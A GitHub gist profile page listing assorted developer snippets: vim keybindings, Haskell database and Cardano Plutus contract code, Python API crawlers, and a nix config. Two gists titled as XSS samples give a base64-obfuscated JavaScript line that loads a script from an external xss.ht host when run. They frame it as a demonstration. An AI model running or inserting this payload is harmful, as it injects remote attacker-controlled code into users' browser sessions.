Skip to content

Instantly share code, notes, and snippets.

View ahaxu's full-sized avatar

AhaXu ahaxu

View GitHub Profile
@ahaxu
ahaxu / vim_rebind_nav_insert_mode_command_mode.vimrc
Last active January 7, 2024 03:15
vim rebind move up down when in insert mode or command mode
" In insert or command mode, move normally by using Ctrl
inoremap <C-h> <Left>
inoremap <C-j> <Down>
inoremap <C-k> <Up>
inoremap <C-l> <Right>
cnoremap <C-h> <Left>
cnoremap <C-j> <Down>
cnoremap <C-k> <Up>
cnoremap <C-l> <Right>
@ahaxu
ahaxu / haskell_connect_db_with_options.hs
Last active December 6, 2022 02:43
haskell_connect_db_with_options.hs
import Database.PostgreSQL.Simple
import System.Environment
import Database.PostgreSQL.Simple.Options
getDBConn :: IO Connection
getDBConn = do
-- get db info
hostName <- getEnv "DB_HOST"
dbName <- getEnv "DB_NAME"
userName <- getEnv "DB_USER"
@ahaxu
ahaxu / uprace_team_info_crawl.py
Created November 21, 2022 02:59
Uprace 2022 team stats crawler
import requests
page_size = 100
url = "https://api.uprace.vn/api/event/rank/list"
# trid change every year
trid = "14528302-d536-499b-99d0-794439d97392"
# trtm change every year
trtm = 1668965123
# get from payload of url api above
@ahaxu
ahaxu / vi_xss_sample.markdown
Last active November 17, 2022 00:12
vi_xss_sample

Hãy chạy đoạn js này trong js console

> atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZDB4NS54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7')

> 'var a=document.createElement("script");a.src="https://d0x5.xss.ht";document.body.appendChild(a);'

một vài browser hiện đại thì đã chặn việc chạy các đoạn mã độc như trên

@ahaxu
ahaxu / xss_sample_1.md
Last active November 16, 2022 23:52
xss_sample_1.md

run this in js repl

> atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZDB4NS54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7')

> 'var a=document.createElement("script");a.src="https://d0x5.xss.ht";document.body.appendChild(a);'

but some modern browser prevent to exec malicious script like above

@ahaxu
ahaxu / vietstock.py
Last active October 26, 2022 02:19
vietstock py ;)
# Huong dan su dung ^^
#
# echo "XXX" | xargs -I$ python vietstock.py $ 0.01 1 1 $TELEGRAM_ID
#
import requests
import sys
import logging
import sys
import time
@ahaxu
ahaxu / fedora.etc.nix.nix.conf
Created September 23, 2022 03:15
/etc/nix/nix.conf
# /etc/nix/nix.conf
substituters = https://hydra.iohk.io https://iohk.cachix.org https://cache.nixos.org/
trusted-public-keys = hydra.iohk.io:f/Ea+s+dFdN+3Y/G+FDgSq+a5NEWhJGzdjvKNGv0/EQ= iohk.cachix.org-1:DpRUyj7h7V830dp/i6Nti+NEO2/nhblbov/8MW7Rqoo= cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
experimental-features = nix-command flakes
@ahaxu
ahaxu / TestXDatum.hs
Created September 11, 2022 05:47
Run test with emulator
{-# LANGUAGE DataKinds #-}
{-# LANGUAGE NoImplicitPrelude #-}
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE ScopedTypeVariables #-}
{-# LANGUAGE NumericUnderscores #-}
{-# LANGUAGE TypeApplications #-}
{-# LANGUAGE TypeFamilies #-}
module Contracts.TestXVesting(test) where
@ahaxu
ahaxu / xdatum.hs
Last active September 11, 2022 06:56
Check old datum with NFT as state
{-# LANGUAGE DataKinds #-}
{-# LANGUAGE DeriveAnyClass #-}
{-# LANGUAGE DeriveGeneric #-}
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE MultiParamTypeClasses #-}
{-# LANGUAGE NoImplicitPrelude #-}
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE ScopedTypeVariables #-}
{-# LANGUAGE TemplateHaskell #-}
{-# LANGUAGE TypeApplications #-}
@ahaxu
ahaxu / UpdateOldDatum.hs
Last active August 18, 2022 03:47
Update Old Datum.hs
-- copy from https://cardano.stackexchange.com/questions/7175/updating-counter-on-the-extended-utxo
-- for learning purpose
{-# LANGUAGE DataKinds #-}
{-# LANGUAGE DeriveAnyClass #-}
{-# LANGUAGE DeriveGeneric #-}
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE NoImplicitPrelude #-}
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE ScopedTypeVariables #-}